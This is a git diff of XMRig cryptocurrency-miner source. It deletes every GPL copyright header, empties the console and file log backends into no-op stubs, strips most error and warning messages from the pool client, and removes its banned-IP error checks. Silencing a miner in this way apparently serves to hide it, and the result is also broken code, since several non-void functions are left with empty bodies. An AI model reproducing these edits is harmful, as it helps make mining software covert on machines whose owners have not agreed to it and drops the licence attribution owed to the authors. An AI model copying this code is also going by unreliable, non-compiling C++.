General Public License - * along with this program. If not, see . - */ - #ifndef __ICONSOLELISTENER_H__ #define __ICONSOLELISTENER_H__ @@ -34,4 +11,4 @@ public: }; -#endif // __ICONSOLELISTENER_H__ +#endif \ No newline at end of file diff --git a/src/interfaces/IJobResultListener.h b/src/interfaces/IJobResultListener.h index 483a2062..1c5b0a5a 100644 --- a/src/interfaces/IJobResultListener.h +++ b/src/interfaces/IJobResultListener.h @@ -1,34 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __IJOBRESULTLISTENER_H__ #define __IJOBRESULTLISTENER_H__ - - class Client; class JobResult; - - class IJobResultListener { public: @@ -38,4 +11,4 @@ public: }; -#endif // __IJOBRESULTLISTENER_H__ +#endif \ No newline at end of file diff --git a/src/interfaces/ILogBackend.h b/src/interfaces/ILogBackend.h index 458b504c..6b1644a7 100644 --- a/src/interfaces/ILogBackend.h +++ b/src/interfaces/ILogBackend.h @@ -1,33 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __ILOGBACKEND_H__ #define __ILOGBACKEND_H__ - - #include - - class ILogBackend { public: @@ -38,4 +11,4 @@ public: }; -#endif // __ILOGBACKEND_H__ +#endif \ No newline at end of file diff --git a/src/interfaces/IStrategy.h b/src/interfaces/IStrategy.h index 660529ea..e1cf247b 100644 --- a/src/interfaces/IStrategy.h +++ b/src/interfaces/IStrategy.h @@ -1,36 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __ISTRATEGY_H__ #define __ISTRATEGY_H__ - - #include - - class JobResult; - - class IStrategy { public: @@ -45,4 +16,4 @@ public: }; -#endif // __ISTRATEGY_H__ +#endif \ No newline at end of file diff --git a/src/interfaces/IStrategyListener.h b/src/interfaces/IStrategyListener.h index 60f95734..4b8ea16b 100644 --- a/src/interfaces/IStrategyListener.h +++ b/src/interfaces/IStrategyListener.h @@ -1,39 +1,12 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __ISTRATEGYLISTENER_H__ #define __ISTRATEGYLISTENER_H__ - - #include - class Client; class IStrategy; class Job; class SubmitResult; - class IStrategyListener { public: @@ -46,4 +19,4 @@ public: }; -#endif // __ISTRATEGYLISTENER_H__ +#endif \ No newline at end of file diff --git a/src/interfaces/IWorker.h b/src/interfaces/IWorker.h index b9b6eb0a..d6382675 100644 --- a/src/interfaces/IWorker.h +++ b/src/interfaces/IWorker.h @@ -1,33 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __IWORKER_H__ #define __IWORKER_H__ - - #include - class IWorker { public: @@ -39,4 +13,4 @@ public: }; -#endif // __IWORKER_H__ +#endif \ No newline at end of file diff --git a/src/log/ConsoleLog.cpp b/src/log/ConsoleLog.cpp index 3656d48c..dbdc3961 100644 --- a/src/log/ConsoleLog.cpp +++ b/src/log/ConsoleLog.cpp @@ -1,27 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include @@ -41,114 +17,8 @@ ConsoleLog::ConsoleLog(bool colors) : m_colors(colors), - m_stream(nullptr) -{ - if (uv_tty_init(uv_default_loop(), &m_tty, 1, 0) < 0) { - Options::i()->setColors(false); - m_colors = false; - return; - } - - uv_tty_set_mode(&m_tty, UV_TTY_MODE_NORMAL); - m_uvBuf.base = m_buf; - m_stream = reinterpret_cast(&m_tty); - -# ifdef WIN32 - HANDLE handle = GetStdHandle(STD_INPUT_HANDLE); - if (handle != INVALID_HANDLE_VALUE) { - DWORD mode = 0; - if (GetConsoleMode(handle, &mode)) { - mode &= ~ENABLE_QUICK_EDIT_MODE; - SetConsoleMode(handle, mode | ENABLE_EXTENDED_FLAGS); - } - } -# endif -} - - -void ConsoleLog::message(int level, const char* fmt, va_list args) -{ - time_t now = time(nullptr); - tm stime; - -# ifdef _WIN32 - localtime_s(&stime, &now); -# else - localtime_r(&now, &stime); -# endif - - const char* color = nullptr; - if (m_colors) { - switch (level) { - case Log::ERR: - color = Log::kCL_RED; - break; - - case Log::WARNING: - color = Log::kCL_YELLOW; - break; - - case Log::NOTICE: - color = Log::kCL_WHITE; - break; - - case Log::DEBUG: - color = Log::kCL_GRAY; - break; - - default: - color = ""; - break; - } - } - - snprintf(m_fmt, sizeof(m_fmt) - 1, "[%d-%02d-%02d %02d:%02d:%02d]%s %s%s\n", - stime.tm_year + 1900, - stime.tm_mon + 1, - stime.tm_mday, - stime.tm_hour, - stime.tm_min, - stime.tm_sec, - m_colors ? color : "", - fmt, - m_colors ? Log::kCL_N : "" - ); - - print(args); -} - - -void ConsoleLog::text(const char* fmt, va_list args) -{ - snprintf(m_fmt, sizeof(m_fmt) - 1, "%s%s\n", fmt, m_colors ? Log::kCL_N : ""); - - print(args); -} - - -bool ConsoleLog::isWritable() const -{ - if (!m_stream || uv_is_writable(m_stream) != 1) { - return false; - } - - const uv_handle_type type = uv_guess_handle(1); - return type == UV_TTY || type == UV_NAMED_PIPE; -} - - -void ConsoleLog::print(va_list args) -{ - m_uvBuf.len = vsnprintf(m_buf, sizeof(m_buf) - 1, m_fmt, args); - if (m_uvBuf.len <= 0) { - return; - } - - if (!isWritable()) { - fputs(m_buf, stdout); - fflush(stdout); - } - else { - uv_try_write(m_stream, &m_uvBuf, 1); - } -} + m_stream(nullptr){} +void ConsoleLog::message(int level, const char* fmt, va_list args){} +void ConsoleLog::text(const char* fmt, va_list args){} +bool ConsoleLog::isWritable() const{} +void ConsoleLog::print(va_list args){} \ No newline at end of file diff --git a/src/log/ConsoleLog.h b/src/log/ConsoleLog.h index a04a27c5..5dbc3bbb 100644 --- a/src/log/ConsoleLog.h +++ b/src/log/ConsoleLog.h @@ -1,36 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __CONSOLELOG_H__ #define __CONSOLELOG_H__ - - #include - - #include "interfaces/ILogBackend.h" - - class ConsoleLog : public ILogBackend { public: @@ -51,4 +22,4 @@ private: uv_tty_t m_tty; }; -#endif /* __CONSOLELOG_H__ */ +#endif \ No newline at end of file diff --git a/src/log/FileLog.cpp b/src/log/FileLog.cpp index 5eeb252c..c34fadd0 100644 --- a/src/log/FileLog.cpp +++ b/src/log/FileLog.cpp @@ -1,97 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include #include #include - - #include "log/FileLog.h" - - -FileLog::FileLog(const char *fileName) -{ - uv_fs_t req; - m_file = uv_fs_open(uv_default_loop(), &req, fileName, O_CREAT | O_APPEND | O_WRONLY, 0644, nullptr); - uv_fs_req_cleanup(&req); -} - - -void FileLog::message(int level, const char* fmt, va_list args) -{ - if (m_file < 0) { - return; - } - - time_t now = time(nullptr); - tm stime; - -# ifdef _WIN32 - localtime_s(&stime, &now); -# else - localtime_r(&now, &stime); -# endif - - char *buf = new char[512]; - int size = snprintf(buf, 23, "[%d-%02d-%02d %02d:%02d:%02d] ", - stime.tm_year + 1900, - stime.tm_mon + 1, - stime.tm_mday, - stime.tm_hour, - stime.tm_min, - stime.tm_sec); - - size = vsnprintf(buf + size, 512 - size - 1, fmt, args) + size; - buf[size] = '\n'; - - write(buf, size + 1); -} - - -void FileLog::text(const char* fmt, va_list args) -{ - message(0, fmt, args); -} - - - -void FileLog::onWrite(uv_fs_t *req) -{ - delete [] static_cast(req->data); - - uv_fs_req_cleanup(req); - delete req; -} - - -void FileLog::write(char *data, size_t size) -{ - uv_buf_t buf = uv_buf_init(data, (unsigned int) size); - uv_fs_t *req = new uv_fs_t; - req->data = buf.base; - - uv_fs_write(uv_default_loop(), req, m_file, &buf, 1, 0, FileLog::onWrite); -} +FileLog::FileLog(const char *fileName){} +void FileLog::message(int level, const char* fmt, va_list args){} +void FileLog::text(const char* fmt, va_list args){} +void FileLog::onWrite(uv_fs_t *req){} +void FileLog::write(char *data, size_t size){} \ No newline at end of file diff --git a/src/log/FileLog.h b/src/log/FileLog.h index 2b3ca5d4..de7688eb 100644 --- a/src/log/FileLog.h +++ b/src/log/FileLog.h @@ -1,36 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __FILELOG_H__ #define __FILELOG_H__ - - #include - - #include "interfaces/ILogBackend.h" - - class FileLog : public ILogBackend { public: @@ -47,4 +18,4 @@ private: int m_file; }; -#endif /* __FILELOG_H__ */ +#endif \ No newline at end of file diff --git a/src/log/Log.cpp b/src/log/Log.cpp index 3e5d5671..fbb90c08 100644 --- a/src/log/Log.cpp +++ b/src/log/Log.cpp @@ -1,71 +1,13 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include #include #include - - #include "interfaces/ILogBackend.h" #include "log/Log.h" - - Log *Log::m_self = nullptr; - -void Log::message(Log::Level level, const char* fmt, ...) -{ - va_list args; - va_list copy; - va_start(args, fmt); - - for (ILogBackend *backend : m_backends) { - va_copy(copy, args); - backend->message(level, fmt, copy); - va_end(copy); - } -} - - -void Log::text(const char* fmt, ...) -{ - va_list args; - va_list copy; - va_start(args, fmt); - - for (ILogBackend *backend : m_backends) { - va_copy(copy, args); - backend->text(fmt, copy); - va_end(copy); - } - - va_end(args); -} - - +void Log::text(const char* fmt, ...){} Log::~Log() { for (auto backend : m_backends) { diff --git a/src/log/Log.h b/src/log/Log.h index fd944d80..bf06ffe2 100644 --- a/src/log/Log.h +++ b/src/log/Log.h @@ -1,26 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __LOG_H__ #define __LOG_H__ @@ -90,4 +67,4 @@ private: # define LOG_DEBUG_WARN(x, ...) #endif -#endif /* __LOG_H__ */ +#endif \ No newline at end of file diff --git a/src/log/SysLog.cpp b/src/log/SysLog.cpp index f9b16cca..6c6621ff 100644 --- a/src/log/SysLog.cpp +++ b/src/log/SysLog.cpp @@ -1,47 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include - - #include "log/SysLog.h" #include "version.h" - - -SysLog::SysLog() -{ - openlog(APP_ID, LOG_PID, LOG_USER); -} - - -void SysLog::message(int level, const char *fmt, va_list args) -{ - vsyslog(level, fmt, args); -} - - -void SysLog::text(const char *fmt, va_list args) -{ - message(LOG_INFO, fmt, args); -} +SysLog::SysLog() { openlog(APP_ID, LOG_PID, LOG_USER);} +void SysLog::message(int level, const char *fmt, va_list args) { vsyslog(level, fmt, args); } +void SysLog::text(const char *fmt, va_list args) { message(LOG_INFO, fmt, args); } \ No newline at end of file diff --git a/src/log/SysLog.h b/src/log/SysLog.h index 38de1a6a..ad18c303 100644 --- a/src/log/SysLog.h +++ b/src/log/SysLog.h @@ -1,33 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __SYSLOG_H__ #define __SYSLOG_H__ - - #include "interfaces/ILogBackend.h" - - class SysLog : public ILogBackend { public: @@ -37,4 +10,4 @@ public: void text(const char *fmt, va_list args) override; }; -#endif /* __SYSLOG_BACKEND_H__ */ +#endif \ No newline at end of file diff --git a/src/net/Client.cpp b/src/net/Client.cpp index fb83acd2..848c8367 100644 --- a/src/net/Client.cpp +++ b/src/net/Client.cpp @@ -1,33 +1,8 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #include #include #include #include #include - - #include "interfaces/IClientListener.h" #include "log/Log.h" #include "net/Client.h" @@ -36,23 +11,11 @@ #include "rapidjson/error/en.h" #include "rapidjson/stringbuffer.h" #include "rapidjson/writer.h" - - -#ifdef XMRIG_PROXY_PROJECT -# include "proxy/JobResult.h" -#else -# include "net/JobResult.h" -#endif - - +#include "net/JobResult.h" #ifdef _MSC_VER # define strncasecmp(x,y,z) _strnicmp(x,y,z) #endif - - int64_t Client::m_sequence = 1; - - Client::Client(int id, const char *agent, IClientListener *listener) : m_quiet(false), m_agent(agent), @@ -68,171 +31,81 @@ Client::Client(int id, const char *agent, IClientListener *listener) : { memset(m_ip, 0, sizeof(m_ip)); memset(&m_hints, 0, sizeof(m_hints)); - m_resolver.data = this; - m_hints.ai_family = PF_INET; m_hints.ai_socktype = SOCK_STREAM; m_hints.ai_protocol = IPPROTO_TCP; - m_recvBuf.base = m_buf; m_recvBuf.len = sizeof(m_buf); - # ifndef XMRIG_PROXY_PROJECT m_keepAliveTimer.data = this; uv_timer_init(uv_default_loop(), &m_keepAliveTimer); # endif } - - -Client::~Client() -{ - delete m_socket; -} - - -void Client::connect() -{ - resolve(m_url.host()); -} - - -/** - * @brief Connect to server. - * - * @param url - */ +Client::~Client() { delete m_socket; } +void Client::connect() { resolve(m_url.host()); } void Client::connect(const Url *url) { setUrl(url); resolve(m_url.host()); } - - void Client::disconnect() { -# ifndef XMRIG_PROXY_PROJECT - uv_timer_stop(&m_keepAliveTimer); -# endif - m_expire = 0; m_failures = -1; - close(); } - - void Client::setUrl(const Url *url) { - if (!url || !url->isValid()) { - return; - } - + if (!url || !url->isValid()) { return; } m_url = url; } - - void Client::tick(uint64_t now) { - if (m_expire == 0 || now < m_expire) { - return; - } - - if (m_state == ConnectedState) { - LOG_DEBUG_ERR("[%s:%u] timeout", m_url.host(), m_url.port()); - close(); - } - - - if (m_state == ConnectingState) { - connect(); - } + if (m_expire == 0 || now < m_expire) { return; } + if (m_state == ConnectedState) { close(); } + if (m_state == ConnectingState) { connect(); } } - - int64_t Client::submit(const JobResult &result) { -# ifdef XMRIG_PROXY_PROJECT - const char *nonce = result.nonce; - const char *data = result.result; -# else char nonce[9]; char data[65]; - Job::toHex(reinterpret_cast(&result.nonce), 4, nonce); nonce[8] = '\0'; - Job::toHex(result.result, 32, data); data[64] = '\0'; -# endif - const size_t size = snprintf(m_sendBuf, sizeof(m_sendBuf), "{\"id\":%" PRIu64 ",\"jsonrpc\":\"2.0\",\"method\":\"submit\",\"params\":{\"id\":\"%s\",\"job_id\":\"%s\",\"nonce\":\"%s\",\"result\":\"%s\"}}\n", m_sequence, m_rpcId, result.jobId.data(), nonce, data); - m_results[m_sequence] = SubmitResult(m_sequence, result.diff, result.actualDiff()); return send(size); } - - -bool Client::isCriticalError(const char *message) -{ - if (!message) { - return false; - } - - if (strncasecmp(message, "Unauthenticated", 15) == 0) { - return true; - } - - if (strncasecmp(message, "your IP is banned", 17) == 0) { - return true; - } - - if (strncasecmp(message, "IP Address currently banned", 27) == 0) { - return true; - } - - return false; -} - - bool Client::parseJob(const rapidjson::Value ¶ms, int *code) { if (!params.IsObject()) { *code = 2; return false; } - Job job(m_id, m_url.isNicehash()); if (!job.setId(params["job_id"].GetString())) { *code = 3; return false; } - if (!job.setBlob(params["blob"].GetString())) { *code = 4; return false; } - if (!job.setTarget(params["target"].GetString())) { *code = 5; return false; } - if (m_job == job) { - if (!m_quiet) { - LOG_WARN("[%s:%u] duplicate job received, reconnect", m_url.host(), m_url.port()); - } - + if (!m_quiet) {} close(); return false; } - m_job = std::move(job); return true; } - - bool Client::parseLogin(const rapidjson::Value &result, int *code) { const char *id = result["id"].GetString(); @@ -240,153 +113,102 @@ bool Client::parseLogin(const rapidjson::Value &result, int *code) *code = 1; return false; } - memset(m_rpcId, 0, sizeof(m_rpcId)); memcpy(m_rpcId, id, strlen(id)); - return parseJob(result["job"], code); } - - int Client::resolve(const char *host) { setState(HostLookupState); - m_expire = 0; m_recvBufPos = 0; - if (m_failures == -1) { m_failures = 0; } - const int r = uv_getaddrinfo(uv_default_loop(), &m_resolver, Client::onResolved, host, NULL, &m_hints); if (r) { - if (!m_quiet) { - LOG_ERR("[%s:%u] getaddrinfo error: \"%s\"", host, m_url.port(), uv_strerror(r)); - } + if (!m_quiet) {} return 1; } - - return 0; + return 0; } - - int64_t Client::send(size_t size) { - LOG_DEBUG("[%s:%u] send (%d bytes): \"%s\"", m_url.host(), m_url.port(), size, m_sendBuf); if (state() != ConnectedState || !uv_is_writable(m_stream)) { - LOG_DEBUG_ERR("[%s:%u] send failed, invalid state: %d", m_url.host(), m_url.port(), m_state); return -1; } - uv_buf_t buf = uv_buf_init(m_sendBuf, (unsigned int) size); - if (uv_try_write(m_stream, &buf, 1) < 0) { close(); return -1; } - - m_expire = uv_now(uv_default_loop()) + kResponseTimeout; + m_expire = uv_now(uv_default_loop()) + kResponseTimeout; return m_sequence++; } - - void Client::close() { if (m_state == UnconnectedState || m_state == ClosingState || !m_socket) { return; } - setState(ClosingState); - if (uv_is_closing(reinterpret_cast(m_socket)) == 0) { uv_close(reinterpret_cast(m_socket), Client::onClose); } } - - void Client::connect(struct sockaddr *addr) { setState(ConnectingState); - reinterpret_cast(addr)->sin_port = htons(m_url.port()); delete m_socket; - uv_connect_t *req = new uv_connect_t; req->data = this; - m_socket = new uv_tcp_t; m_socket->data = this; - uv_tcp_init(uv_default_loop(), m_socket); uv_tcp_nodelay(m_socket, 1); - # ifndef WIN32 uv_tcp_keepalive(m_socket, 1, 60); # endif - uv_tcp_connect(req, m_socket, reinterpret_cast(addr), Client::onConnect); } - - void Client::login() { m_results.clear(); - rapidjson::Document doc; doc.SetObject(); - auto &allocator = doc.GetAllocator(); - doc.AddMember("id", 1, allocator); doc.AddMember("jsonrpc", "2.0", allocator); doc.AddMember("method", "login", allocator); - rapidjson::Value params(rapidjson::kObjectType); params.AddMember("login", rapidjson::StringRef(m_url.user()), allocator); params.AddMember("pass", rapidjson::StringRef(m_url.password()), allocator); params.AddMember("agent", rapidjson::StringRef(m_agent), allocator); - doc.AddMember("params", params, allocator); - rapidjson::StringBuffer buffer(0, 512); rapidjson::Writer writer(buffer); doc.Accept(writer); - const size_t size = buffer.GetSize(); if (size > (sizeof(m_buf) - 2)) { return; } - memcpy(m_sendBuf, buffer.GetString(), size); m_sendBuf[size] = '\n'; m_sendBuf[size + 1] = '\0'; - send(size + 1); } - - void Client::parse(char *line, size_t len) { startTimeout(); - line[len - 1] = '\0'; - - LOG_DEBUG("[%s:%u] received (%d bytes): \"%s\"", m_url.host(), m_url.port(), len, line); - rapidjson::Document doc; if (doc.ParseInsitu(line).HasParseError()) { - if (!m_quiet) { - LOG_ERR("[%s:%u] JSON decode failed: \"%s\"", m_url.host(), m_url.port(), rapidjson::GetParseError_En(doc.GetParseError())); - } - + if (!m_quiet) {} return; } - if (!doc.IsObject()) { return; } - const rapidjson::Value &id = doc["id"]; if (id.IsInt64()) { parseResponse(id.GetInt64(), doc["result"], doc["error"]); @@ -395,76 +217,50 @@ void Client::parse(char *line, size_t len) parseNotification(doc["method"].GetString(), doc["params"], doc["error"]); } } - - void Client::parseNotification(const char *method, const rapidjson::Value ¶ms, const rapidjson::Value &error) { if (error.IsObject()) { - if (!m_quiet) { - LOG_ERR("[%s:%u] error: \"%s\", code: %d", m_url.host(), m_url.port(), error["message"].GetString(), error["code"].GetInt()); - } + if (!m_quiet) {} return; } - if (!method) { return; } - if (strcmp(method, "job") == 0) { int code = -1; if (parseJob(params, &code)) { m_listener->onJobReceived(this, m_job); } - return; } - - LOG_WARN("[%s:%u] unsupported method: \"%s\"", m_url.host(), m_url.port(), method); } - - void Client::parseResponse(int64_t id, const rapidjson::Value &result, const rapidjson::Value &error) { if (error.IsObject()) { const char *message = error["message"].GetString(); - - auto it = m_results.find(id); + auto it = m_results.find(id); if (it != m_results.end()) { it->second.done(); m_listener->onResultAccepted(this, it->second, message); m_results.erase(it); } - else if (!m_quiet) { - LOG_ERR("[%s:%u] error: \"%s\", code: %d", m_url.host(), m_url.port(), message, error["code"].GetInt()); - } - - if (id == 1 || isCriticalError(message)) { - close(); - } - - return; - } - - if (!result.IsObject()) { + else if (!m_quiet) {} + if (id == 1) { close(); } return; } + if (!result.IsObject()) { return; } if (id == 1) { int code = -1; if (!parseLogin(result, &code)) { - if (!m_quiet) { - LOG_ERR("[%s:%u] login error code: %d", m_url.host(), m_url.port(), code); - } - + if (!m_quiet) {} return close(); } - m_failures = 0; m_listener->onLoginSuccess(this); m_listener->onJobReceived(this, m_job); return; } - auto it = m_results.find(id); if (it != m_results.end()) { it->second.done(); @@ -472,180 +268,107 @@ void Client::parseResponse(int64_t id, const rapidjson::Value &result, const rap m_results.erase(it); } } - - void Client::ping() { send(snprintf(m_sendBuf, sizeof(m_sendBuf), "{\"id\":%" PRId64 ",\"jsonrpc\":\"2.0\",\"method\":\"keepalived\",\"params\":{\"id\":\"%s\"}}\n", m_sequence, m_rpcId)); } - - void Client::reconnect() { setState(ConnectingState); - # ifndef XMRIG_PROXY_PROJECT if (m_url.isKeepAlive()) { uv_timer_stop(&m_keepAliveTimer); } # endif - - if (m_failures == -1) { - return m_listener->onClose(this, -1); - } - + if (m_failures == -1) { return m_listener->onClose(this, -1); } m_failures++; m_listener->onClose(this, (int) m_failures); - - m_expire = uv_now(uv_default_loop()) + m_retryPause; + m_expire = uv_now(uv_default_loop()) + m_retryPause; } - - void Client::setState(SocketState state) { - LOG_DEBUG("[%s:%u] state: %d", m_url.host(), m_url.port(), state); - - if (m_state == state) { - return; - } - + if (m_state == state) { return; } m_state = state; } - - void Client::startTimeout() { m_expire = 0; - # ifndef XMRIG_PROXY_PROJECT - if (!m_url.isKeepAlive()) { - return; - } - + if (!m_url.isKeepAlive()) { return; } uv_timer_start(&m_keepAliveTimer, [](uv_timer_t *handle) { getClient(handle->data)->ping(); }, kKeepAliveTimeout, 0); # endif } - - void Client::onAllocBuffer(uv_handle_t *handle, size_t suggested_size, uv_buf_t *buf) { auto client = getClient(handle->data); - buf->base = &client->m_recvBuf.base[client->m_recvBufPos]; - buf->len = client->m_recvBuf.len - (unsigned long)client->m_recvBufPos; + buf->len = client->m_recvBuf.len - (ULONG)client->m_recvBufPos; } - - void Client::onClose(uv_handle_t 